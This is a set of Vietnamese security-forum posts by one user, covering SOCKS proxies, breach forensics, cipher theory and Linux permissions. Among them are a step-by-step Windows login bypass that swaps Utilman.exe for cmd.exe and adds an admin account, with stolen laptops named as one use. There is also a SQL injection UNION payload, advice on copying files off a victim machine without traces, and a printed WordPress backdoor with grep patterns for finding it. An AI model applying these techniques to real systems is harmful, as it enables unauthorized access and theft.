Messages posted by: WinDak

@anh conmale:

Trước giờ khi em thường chỉ xài ssh với VPS để tạo SOCK proxy:

Code:

ssh -D [port] user@server

Phương pháp này so với squid thì có gì bất lợi hơn nếu chỉ sử dụng ở cấp độ personal ?

comale wrote:

Cho rằng (các phiên bản đưa ra ở đây hoàn toàn là ngẫu nhiên): trang web ấy chạy trên hệ điều hành Windows 2003, sử dụng IIS làm reverse proxy, Apache phiên bản 2.2.15, PHP phiên bản 5.3, sử dụng software thương mại là vBulletin có phiên bản 4.1.5 và cơ sở dữ liệu là mysql phiên bản 5.1. Tất cả các dịch vụ đều chạy trên cùng một máy chủ (dedicated server) và được firewall của ISP bảo vệ.
Vui lòng khai triển ở góc độ "forensics" để từ đó mới có thể đưa đến biện pháp.

Theo em thấy thì website đã bị hack thì uy tín đã sứt mẻ rồi, việc còn lại là làm sao để không sứt mẻ thêm và phục hồi nó.

Dưới "góc độ forensic" thì việc tối quan trọng là tìm ra lỗ hổng và vá lỗi kịp thời. Nhưng cái khó ở đây là vừa tìm được lỗ hổng vừa phải đảm bảo việc làm ăn vẫn thuận lợi, đối với 1 công ty lớn chỉ cần đặt server offline 1p có thể thiệt hại nhiều tỉ đồng. Do đó cái một chiến lược tốt sẽ là một chiến lược "nhanh" mà vẫn "chắc". Ngoài những thứ các bạn khác đã nói ở trên thì mình xin bổ xung theo quan điểm của mình:

1) Luôn có 1 máy chủ dự phòng và thiết lập ở chế độ DEBUG mode và SAFE mode (disable các tính năng không cần thiết). Khi bị hack lập tức switch qua máy chủ này và lưu lại toàn bộ traffic vào ra để điều tra nếu hacker có ý quay lại.

2) Trong lúc đó khoanh vùng các application có khả năng bị lỗi cao. Cái này tùy thuộc nhiều vào dấu hiệu bị hack mà attacker để lại. (qua access log, event log của window, thời gian loggin, ip loggin). Ví dụ:
Nếu bị hack vào database thì khả năng cao là :
- sql injection trong vbulletin forums, các pluggin, app v.v..
- lỗi 0-day mysql server
Nếu bị deface / upload file lạ trên hệ thống:
- xem khả năng bị chiếm quyền root của server vì các ứng dụng webserver, php có lỗi 0-day
- khả năng admin bị cài virus và mất mật khẩu
- khả năng webserver bị lỗi cho upload file hay thay đổi file

3) Cùng lúc chạy các ứng dụng tìm rootkit kết hợp audit manually các file bị thay đổi trong hệ thống trong khoảng thời gian bị tấn công.

4) Sửa lỗi và thông báo cho các cơ quan chức năng, đặc biệt quan trọng theo mình là phải luôn trung thực, cầu tiến và bình tĩnh trong phát ngôn với các tổ chức bên ngoài.

chube wrote:

- bạn làm mình nhớ tới 1 công cụ 1 thời ( cũng 5 năm rồi :">
- PRIAMOS -> http://www.priamos-project.com/versions.htm
dowload về rồi reverse nó thử đi ^.^

wa, có công cụ này hay nhỉ smilie

), thế mà ngày xưa cứ vất vả tự viết script automate cho nhanh.

p/s: sao moderator không xóa cái trang đang bị lỗi kia đi nhỉ ? khuyến khích member thực tập 'hacking' chăng ?

phanledaivuong wrote:

Win7 không ghi đè kiểu thông thường được anh ạ. còn cách sethc.exe thì 1 số cu cậu còn làm backdoor trên cả server của người ta . thằng admin server cứ há mồm tìm backdoor (dùng diệt virus quét thật lực) nhưng mấy hôm sau lại thấy user administrator khác được tạo thêm. cuối cùng sau 3 ngày liền ngồi rình thì tóm được 1 cái ComputerName remote vào -> google ra tên thằng Hack .

Đúng là trong Windows thì những file hệ thống thường có "Windows File Protection" bảo vệ nên không thể chép đè lên chúng TRONG WINDOWS dù có quyền admin đi chăng nữa. Có lẽ phải patch một số file khác để làm việc đó (như thế nào tớ cũng không rõ).

Cho nên cách tớ và các anh em trên đang thảo luận chỉ làm việc khi boot vào 1 HDH khác, khi đó file system của Window không có gì bảo vệ.

nói nhỏ: đã test thành công với thằng máy Windows 7 ở chỗ mình làm việc smilie

.

Anh em nào giỏi "cracking" có khi còn có thể patch một vài file khi khởi động của Windows để cho đăng nhập với bất kì password nào chẳng hạn.

Nếu chỉ muốn sử dụng mục đích private thì cách nhanh nhất là tạo một SOCK proxy

Cài sshd trên vps.

Connect và bind nó vào 1 port của localhost

ssh -D 12345 user@vps.server

Từ đây có thể sử dụng localhost:12345 hoặc 127.0.0.1:12345 như là 1 proxy server, tất cả http traffic sẽ wwwect qua bên vps.server.

maitan_10000 wrote:

xnohat wrote:

Cách này giống ngày xưa mình làm trên thằng Windows XP thì đổi file sethc.exe là file của chương trình stickykey bằng file cmd.exe . Sau khi bấm 5 lần phím Shift thì cmd.exe hiện ra dù đang ở màn hình logon

bên xp thì dùng được, không biết bên win7 còn dùng được không nhỉ?

Win7 cũng làm được đấy smilie

Windows/System32/sethc.exe
Ngoài ra trong win7 còn có thằng displayswitch.exe smilie

) . Lắm "backdoor" quá

Xin chia sẻ với anh em một cách đơn giản lấy quyền admin của Window. Sử dụng trong các trường hợp:
1) quên password
2) nơi làm việc không cho quyền admin
3) ăn trộm được con máy tính và không muốn format máy
..
2 + 3 thì không khuyến khích smilie

Nói chung là bất cứ khi nào mó máy được đến máy tính (và không ai để ý) là ta có thể chơi được trò này.

Dĩ nhiên có rất nhiều cách khác, nhưng đây là cách mình cho là đơn giản và nhanh gọn. Anh em nào biết cách hay hơn cũng xin chia sẻ trong topic này.

Thực hiện lần lượt các bước sau:

1) Burn 1 cái CD linux phiên bản bất kỳ
2) Boot bằng CD này, không cần cài, chỉ cần chạy được shell
3) Chạy những command sau lần lượt:
Code:

fdisk -l

để ý dòng nào có cái NTFS (FAT32), và copy cái /dev/xxx. ví dụ
Code:

/dev/sda2 13 64408 517250914 7 HPFS/NTFS

mount cái dev này vào folder chơi
Code:

mkdir /mnt/sda2
mount -t ntfs /dev/sda2 /mnt/sda2/

bây giờ đến đoạn tricky, ta sử dụng con "backdoor" cho sẵn của window. http://www.file.net/process/utilman.exe.html)

Code:

cd /mnt/sda2/Windows/System32/
mv Utilman.exe Utilman.exe.bak
cp cmd.exe Utilman.exe

Xong, bây giờ reboot lại vào Window, Nhấn tổ hợp [Window-Key] + U

Bảng cmd.exe chạy dưới quyền SYSTEM sẽ hiện lên. Việc còn lại chỉ là tạo 1 user admin:
Code:

net user foo passf00 /add
net localgroup Administrator foo /add

Sau đó tắt cmd đi vào login vào bằng foo/passf00

Chúc thành công

Tested : Window 7
Nguồn: sưu tầm smilie

cái dưới này cũng work smilie

.

-207 UNION SELECT 1,2,3,4,5,group_concat( CAST(table_name AS BINARY) ),7,8,9,10,11,12,13,14,15,16 from information_schema.tables--

cái union có thể bị illegal collation nếu data type không đồng bộ unhex(hex()) là một trick hay để bypass !

Xin đóng góp 1 chút cho câu hỏi này của anh mrro:

b) Làm sao để đảm bảo an toàn cho một tính năng như thế?

Để trả lời câu hỏi này, theo mình cần phải có 1 giả thiết về hệ thống của google. Mình giả sử google làm những thao tác sau ngay khi hoàn thành quá trình nhập dữ liệu XYZ

1) Thực hiện download file trong liên kết XYZ
a) phân giải domain, tìm hiểu giao thức authentication (nếu có).
b) thực hiện kết nối và yêu cầu XYZ gửi file theo protocol
c) lưu trữ file vào một thiết bị lưu trữ (HDD)

2) Biến file đã download thành attachment
a) ghi nhớ file và các liên kết dữ liệu vào cơ sở dữ liệu.
b) trả lại gói dữ liệu về thông tin của file cho client
+ trong thông tin của file có thể có preview của file
c) Browser nhận dữ liệu và thay đổi trạng thái của người dùng (thay giao diện,v.v.)

Để thực hiện bảo mật, mình nghĩ cần phải thiệt lập bảo vệ ở toàn bộ các bước 1a,1b,1c, 2a,2b,2c, đảm bảo dữ liệu vào là an toàn, và dữ liệu ra cho bước tiếp theo là hợp lệ. Cụ thể ví dụ ở bước

1a) Kiểm tra liên kết có thuộc "white list" bằng regular expression, domain hoặc IP có cái nào trong "black list" hay không, các giao thức có trong "white list" hay không.

1c) khi lưu trữ phải có limit cho kích thước nhận được và thời gian đã nhận. Lưu trữ xong kiểm tra file có an toàn không (quét virus) trước khi chuyển sang bước tiếp theo.

2a) khi ghi nhớ vào CSDL phải kiểm tra các thông số như tên file, kích thước file, loại file có hợp lệ hay không, loại bỏ các rủi ro như lưu trữ tên file có kí tự đặc biệt hay script vào CSDL

2b) Ở bước này, tuỳ thuộc vào yêu cầu lúc gửi lại browser có những gì mà cần phải bảo mật ở từng bước.

+ Chẳng hạn như HTML được cho là hợp lệ ở bước 2a và cần đưa preview lại ở bước 2c thì ta cần thiệt lập các bảo vệ cần thiết cho 1 previewer application, cái này thì lại 1 phạm trù khác, tuỳ mục đích của previewer mà có thể đưa ra những luật khác nhau. Ví dụ như không cho script đưa kết nối ra ngoài mạng, thực hiện preview trên 1 máy hoàn toàn cách biệt và chỉ lấy screenshot.

Sau đó đảm bảo những thông tin trả về client là hợp pháp bằng cách lựa chọn càng nhiều những output được định sẵn càng tốt như ID, option number, các variable như tên file có thể thay đổi thành dạng đặc biệt nếu không cần hiển thị.

Mình nghĩ nếu đưa ra được process hoàn chỉnh của việc download -> attachment thì hoàn toàn có thể kiện toàn các phương án bảo mật.

Anh rongchaua set permission thế nào ?

Nếu cấu trúc file như thế chẳng phải là chỉ cần

proxy.php?url=proxy.php

là download được file proxy.php về sao ? cho dù header là file nhạc nhưng nội dung vẫn là text ?

Wow, mới 1 tháng đi chơi không vào mà bác TQN đã làm ra nhiều thứ hay ho quá, productive ghê. thật là bái phục.

Không biết làm gì giúp bác gú gồ cu nartcogn thì thấy rất nhiều dấu vết ở các forum:
www.tinhte.vn
www.vn-zoom.com
www.intermark.honglinhsoft.com
hacao.com
Đáng chú ý là cu cậu có post bài ở đây năm 2007
http://www.tinhte.vn/phan-mem-tien-ich-100/huong-dan-activate-repligo-reader-v1-1-bang-winhex-277895/index3.html

Nếu liên hệ admin của mấy trang này xin cái IP biết đâu lòi ra tận nhà vì thời điểm 3 năm về trước chắc là vẫn chưa "cẩn thận" che dấu vết như bây giờ.

Wd đang cần đóng gói project trên linux. Hiện giờ tớ đang tạm thời xài Makefile, nhưng với số lượng file ngày một lớn, quá trình compile cũng phức tạp thật rất khó bảo trì.

Đang định chuyển qua xài autotools nhưng đọc document thấy vẫn chưa hài lòng lắm, anh em có biết công cụ nào tốt thì giới thiệu cho tớ phát.

Wd.

whitesnow19 wrote:

Thank anh Conmale nhé. Dù sao có comment của anh em cũng biết được hướng giải quyết: Tìm cách khác. ^^

Anh WinDak có thế nói rõ thêm cách transfer không? Vì đây em đang bàn luận trên mạng Lan nên không biết làm như thế nào trong môi trường Dos.

Bạn nên tìm hiểu thêm các network protocol và cách thức hoạt động của netcat như anh comale nói, biết đâu có thể tự tìm được cách cho riêng mình

p/s: về ftp thì cứ google là biết lệnh thôi chứ gì, tham khảo link sau http://www.uic.edu/depts/accc/network/ftp/vftp.html, phần 10. lưu ý là lúc này ftp client là máy victim, còn ftp server là một máy chủ bất kì, có thể là máy của chính bạn nếu biết hiệu chỉnh.

Nếu đã có cmd.exe thì có rất nhiều cách, dễ nhất là có thể sử dụng ftp để transfer file lên 1 server nào đó ( hoặc tự biến máy mình thành ftp server). Ngoài ra nếu máy victim có http thì có thể copy đến http directory để download về v.v..
Quan trọng là làm thế nào mà download xong không để có dấu vết => vào bóc lịch thôi !

Bạn dacminh à, ở diễn đàn này không quan trọng new mem hay old mem, có khả năng thì đóng góp, đơn giản vậy thôi nên bạn cũng không phải cứ nhấn mạnh vào điều đó để thể hiện cái gì cả.

Thật sự mình vẫn chưa hiểu cái scheme mã hóa và giải mã md5 của bạn. Xin bạn giải thích thêm là với scheme lưu cả 2 plaintext và hash vào database thì bạn che dấu url thế nào và lấy ra thế nào ?

"dacminhm" wrote:

Với MD5 thì chỉ có hàm md5('password')-->7041159938a3c020ab037179de2fac52
=> Chính vì lý do này mà có người nghĩ MD5 chỉ đựoc dùng cho mã hoá password. Tuy MD5 là mã hoá 1 chiều nhưng ta có thể làm như sau: khi mã hoá được đoạn text thì lưu vào database cả đoạn MD5 7041159938a3c020ab037179de2fac52 cùng normal text có thể ánh xạ cho nhau được (cái này thì tuỳ người làm, có thể chia nhỏ cho vào nhiều table khác nhau hay thế nào thì kệ không bàn ở đây). Như vậy khi cần decrypt chỉ cần phép so sánh là xong.

Bạn lưu cả plaintext vào db thì còn mã hóa làm gì, so sánh làm gì, cứ lấy cái plaintext (mà bạn chia nhỏ vào các table khác nhau) mà sử dụng ?

Cái trang mà bạn show ra chẳng qua là vì mục đích nó là tìm plaintext từ md5 hash, khác hẳn mục đích cần che dấu hay bảo mật dữ liệu.

wd.

Ngoài check source, grep những từ khả nghi, thì có thể check cả access log và error log nữa.

Có thể grep những cái khả nghi như: /../ , /etc , eval, base64 , edit, cmd, exec, pass, ... còn tìm ra hay không thì chắc phải dựa vào may mắn nữa.

Có xem qua 1 chiêu như thế này nữa :
Code:

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

Đoạn code tường chừng đơn giản vô hại được chèn vào 1 file của wordpress.
strrev sẽ reverse hết tất cả các string như base64, cmd,...

và đây là 1 đoạn trong database

Code:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Source: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Tớ chỉ tò mò google vài cái thì phát hiện ra trang này :

http://www.threatexpert.com/report.aspx?md5=fa9bfec1cbdbfec643021bf6bd943034

Chú ý item 7 và 10:

%Windir%\ime\HARDKBD.DLL

%System%\wbem\wbmain.dll

Không rõ là có đúng đây là của bọn STL viết như TQN nói không, vì có vẻ con malware này đã được publish ở đâu đó ?

@alice:
Thanks alice, mình hiểu rồi, nếu xét đối với mật mã mà alice giới thiệu thì tweak ở đây là (j) thì hợp lí hơn. T0 theo tác giả nói sẽ được xem một khoá phụ, còn j thì hoạt động theo kiểu counter IV và nó sẽ coi như public và sẽ predictable.

Counter IV được kết luận là không an toàn đối với các block cipher mode chỉ XOR với plaintext (CBC). còn trong trường hợp này j tạo ra T(j) rồi còn merge vào trong mỗi round, nên "hi vọng" sẽ an toàn.

alice wrote:

Nếu chỉ với kết quả trên thì đúng là chưa thể kết luận được gì. Nhưng WinDak đừng quên là cipher này có cấu trúc đồng nhất với Skipjack, chỉ khác hàm G. Impossible differential attack từ năm 1998 (đến nay vẫn là attack thành công nhất lên Skipjack) đã cho thấy Skipjack chỉ cần thiếu 1 vòng thôi là bị bẻ gãy. Theo đó alice suy luận rằng với hàm G như vậy, khả năng lớn là cipher này có độ bảo mật dưới 5w bit.

Cái này thật sự đáng để tìm hiểu thêm, kiến thức của mình còn quá ít để nhận xét gì. Không biết nhóm tác giả này là ai, rất tò mò muốn biết họ sẽ publish thuật toán này ở đâu để theo dõi.

Xin lỗi bác alice vì em drag cái thảo luận này quá, tất cả để thoả mãn cái sự tò mò.

Tuy nhiên quan điểm của mình là bạn không nên tự giới hạn suy nghĩ của mình vì cố gắng tuân theo định nghĩa này, nếu như bạn có một ý tưởng nào đó về probabilistic encryption cho block cipher, giống như việc sử dụng khoá nắn của thuật toán ở trên.

Hehe, lúc này thì mình sẽ propose định nghĩa mới giống như cách mà Tweakable Cipher lúc mới được trình bày có đưa ra

Trở lại vấn đề alice nêu

"alice" wrote:

Theo alice biết, mọi tweak modes đều đòi hỏi tweak bí mật, còn tweakable ciphers thì có khi đòi hỏi có khi không. Tweak modes đòi hỏi tweak bí mật vì security proof cần giả thiết đó; nói đúng hơn thì xây dựng tweak công khai rất khó và tweak như thế rất phức tạp => kém hiệu quả

Mình có điều chưa hiểu chỗ này, alice nói tweak phải bí mật nhưng theo mình biết ít nhất ta cần T0 giống như IV là một phần của cipher text cho việc giải mã. Nếu không mỗi lần sử dụng T0 mới thì lại phải sử dụng trao đổi khoá để truyền T0 ? như vậy có phải là phản tác dụng của tweak hay các cipher mode ? same key nhưng kết quả khác nhau ?

Nếu nói tweak cần phải unpredictable, không đoán được dựa trên bất cứ kết quả nào sẽ hợp lí hơn ?

"alice" wrote:

Bây giờ, trở lại vấn đề chính khiến alice quan tâm ở cipher này: cryptanalysis. Khảo sát sơ bộ 1 hàm G nhỏ (độ dài word =16 bit) cho thấy nó không giống như 1 random permutation. Cần khoảng 2 - 2.5 hàm G nối tiếp nhau mới đủ làm cho nó trở thành giống như random

Cái này mình thấy cũng chưa thể chứng minh được là yếu, vì ngay cả các block cipher mạnh nếu sử dụng ít vòng cũng không an toàn. Nhiều vòng yếu hợp lại vẫn có thể tạo thành cipher mạnh.

Nhưng như vậy căn bản không liên quan nhiều đến việc liệu block cipher có cần thiết phải là bijective function hay khôn

Cái này có thể suy từ định nghĩa của block cipher ?
"block cipher is a symmetric key cipher operating on fixed-length groups of bits, called blocks, with an unvarying transformation. A block cipher encryption algorithm might take (for example) a 128-bit block of plaintext as input, and output a corresponding 128-bit block of ciphertext" (wikipedia)
"block cipher is reversible, encrypt 128-bit plaintext and generate another 128-bit cipher text"
"a block cipher with block size of k-bit specifies a permutation on k-bit values for each of key value" (Practical Cryptography)

StarGhost wrote:

Yếu tố ngẫu nhiên chỉ xuất hiện trong ciphertext (dưới một dạng nào đó), và chính vì vậy người ta gọi là probabilistic encryption (PE)

Cái này thì không chắc là StarGhost đúng vì theo định nghĩa (wiki) thì bất cứ encryption nào có yếu tố random đều gọi là probabilistic, không kể nó nằm ở đâu. trong trường hợp kia, mình chỉ nhận xét một điểm nhỏ là nếu xét tập plaintext+randombit và tập cyphertext+randombit thì hàm encryption vẫn bijection vì given 1 plaintext và 1 randombit chỉ có duy nhất 1 cyphertext và 1 random bit và ngược lại.

StarGhost wrote:

p/s: ngoài ra mình đề nghị bạn không đánh đồng việc thảo luận với việc cãi nhau, vì mức độ của nó còn quá "dễ chịu". smilie

p/s:

haha, bác bắt bẻ từ ngữ em quá, hiểu ý là được mà

@StarGhost: Thật ra mình đồng ý là block cipher có tính chất bijection chứ không phải toàn bộ (phát biểu ở trên chưa chính xác và nên sửa lại) nên cũng không cần cãi nhau thêm. Cái mình tò mò muốn biết là liệu có encryption function nào mà không bijection như StarGhost nói được sử dụng để encrypt hay chưa ?

Ngay cả Probabilistic Encryption (Blum-Goldwasser) mình có tìm hiểu cũng chèn vào 1 yếu tố random, yếu tố này cần phải được biết(hoặc được tìm ra một cách nào đó) bởi cả encryption function và decryption function nên nếu coi nó là một phần của cả plaintext và cipher text thì function vẫn là deterministic ?

StarGhost wrote:

@WinDak: chỉ cần ciphertext có kích thước lớn hơn plaintext thì thuật toán mã hoá (fixed key) đã không còn là bijective function rồi, vì nó không còn surjective nữa. Còn về decryption, nếu như định nghĩa encryption theo dạng D(E(P)) = P thì decryption bắt buộc phải là deterministic. Ngược lại, bạn có thể thiết kế một thuật toán để sao cho Pr[D(E(P)) != P] = negl, hoặc một giá trị đủ nhỏ, như vậy trên lý thuyết decryption trở thành probabilisic, nhưng trong thực tế thì vẫn có thể chấp nhận được. Ngoài ra bạn cũng có thể thiết kế encryption sao cho nó không injective, ví dụ để dùng trong oblivious transfer. Nhưng tất nhiên còn tuỳ vào quan điểm của bạn về cái gọi là encryption.

StarGhost nói thế thì mình thấy không được thuyết phục, dĩ nhiên mình có thể tạo 1 cái function bất kỳ và gọi nó là "my_encryption" nhưng liệu nó có giá trị trên thực tế không ? cho nên mình muốn biết một ví dụ mà nó được design và sử dụng trong thực tế.

Ví dụ như StarGhost nói kích thước ciphertext > plaintext, rõ ràng là nó không bijective nhưng liệu nó có hữu ích trong bất cứ application nào không ? Còn D(E(P)) =P thì rõ ràng nó là định nghĩa của decryption, liệu design cho nó có khả năng D(E(P)) != P thì được lợi gì ?

Hi vọng StarGhost giải thích thêm.Mình cũng sẽ xem thử oblivious transfer

StarGhost wrote:

Mình mượn tạm công sức của mrro
1. Cái này thì bạn mrro đã nói ở trên rồi.
2. Nên cẩn thận khi nói một cách tổng quát về encryption. Vì ở dạng tổng quát, encryption hoàn toàn có thể mang tính xác suất, và ngay cả decryption cũng có thể mang tính xác suất. Việc định nghĩa encryption theo dạng bijective correspondence chỉ là một thuộc tính thường thấy trong mật mã cụm.
3. À nếu như mà cái khoá nắn lại sinh ra từ khoá Z thì thực sự là không có nhiều tác dụng lắm, lí do đúng là như mrro đã kể trên.

cảm ơn mrro và StarGhost cho thêm thông tin, dĩ nhiên mình chỉ là novice sẽ có những phát biểu chưa chuẩn xác. Xin StarGhost cho ví dụ về encryption / decryption algorithm không có tính bijective correspondence như bạn nói để tìm hiểu thêm.

mrro wrote:

nói cách khác, câu hỏi là: làm sao có thể dùng lại khoá nhiều lần mà vẫn an toàn? (vì nếu mà chỉ dùng khoá được một lần rồi phải đổi, thì thôi dùng one time pad luôn cho nó sướng smilie. muốn như thế, thì điều kiện cần là mỗi lần mã hoá, dẫu cùng khoá, cùng bản rõ, kết quả phải là những bản mã khác nhau hoàn toàn.

đương nhiên các mật mã cụm như AES hay DES không làm được việc đó. thành ra người ta mới xây dựng ra các chế độ hoạt động cho các mật mã cụm này và chính các chế độ hoạt động mới đảm bảo được tính xác suất của các thuật toán mã hoá.

Hi anh

em hiểu mấy cái anh nói, em chỉ thắc mắc là không biết nó có liên quan gì đến chosen plaintext attack không ? vì theo em hiểu chosen plaintext attack giúp tìm được key hoặc một phần thông tin về key khi attacker có thể chọn plaintext để encrypt. Trong các ví dụ của anh key vẫn hoàn toàn chưa lộ, khi tập hợp giá trị của plaintext nhỏ như vậy thì hoạ chăng chỉ có one-time-pad như anh nói là phù hợp ?

Hơn nữa với bất cứ encryption nào, hàm encrypt với 1 key là hàm one-to-one (và onto??). Ở các chế độ làm việc như CBC hay CTR nếu không đổi IV thì giá trị cipher text cũng không thể đổi nếu key giữ nguyên. Theo em biết IV có thể được gửi kèm với cypher text để phục vụ cho việc giải mã mà không ảnh hưởng đến tính bảo mật.

Ở encryption mà alice post, tương tự T(0) hoàn toàn có thể được thay đổi và gửi kèm cùng cipher text. Việc lộ T(0) không nên ảnh hưởng đến độ bảo mật của hàm mã hoá. Đúng như anh nói là đây chính là điểm cần phải chứng minh và kiểm nghiệm.

mrro wrote:

việc thêm nắn T này vào theo mình thấy chính là việc xác định chế độ hoạt động cho mật mã cụm ở trên. vấn đề là các nắn T(j) được xác định hoàn toàn tất dịnh dựa vào khoá nắn. điều này làm mình không thấy rõ thuật toán mã hoá bằng phép nhân an toàn trước tấn công chọn bản rõ (chosen plaintext attack). có lẽ do mình không thấy có yếu tố ngẫu nhiên nào được trộn vào bản rõ trong quá trình lập mã. bây giờ giả sử mình mã hoá một bản rõ m (bao gồm n cụm) i lần, thì mặc dù các cụm sẽ được mã hoá khác nhau (nhờ nắn T), nhưng theo mình thấy là i bản mã thu được sẽ giống nhau.
-m

Em chưa hiểu rõ lắm về kết luận của anh mrro. Anh nói mã hoá m i lần nghĩa là:

1) E[0]=P; for j=1..i : E[j]=E(k,E[j-1])

hay

2) for j=1..i: E[j] = E(k,P) ?

nếu 1) thì em thấy chắc chắn E[i] != E[j] for all i,j không phải bàn cãi
nếu 2) thì E[i] = E[j] for all i,j là chuyện bình thường đối với bất kỳ Encryption nào ?

shankstocdo wrote:

sao umask =022 và umask=123 lại cho kết quả truy xuất giống nhau đều bằng 644 nhi?
ai có thể giải thick không?

Đơn giản là vì ( 666 & (^022) ) = (666 & (^123) ) = 644

Nếu tạo folder thì sẽ ra kết quả khác

Bạn thử bắt đầu với gdb

/hvaonline/posts/list/31905.html